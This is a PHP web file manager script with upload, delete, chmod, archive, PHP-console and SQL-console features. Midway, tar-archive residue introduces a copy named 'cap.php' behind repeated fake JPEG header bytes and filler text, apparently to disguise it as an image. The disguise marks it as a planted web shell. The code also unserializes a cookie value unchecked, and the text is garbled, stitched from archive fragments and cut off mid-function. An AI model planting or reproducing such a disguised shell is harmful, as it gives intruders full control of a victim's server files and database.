		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
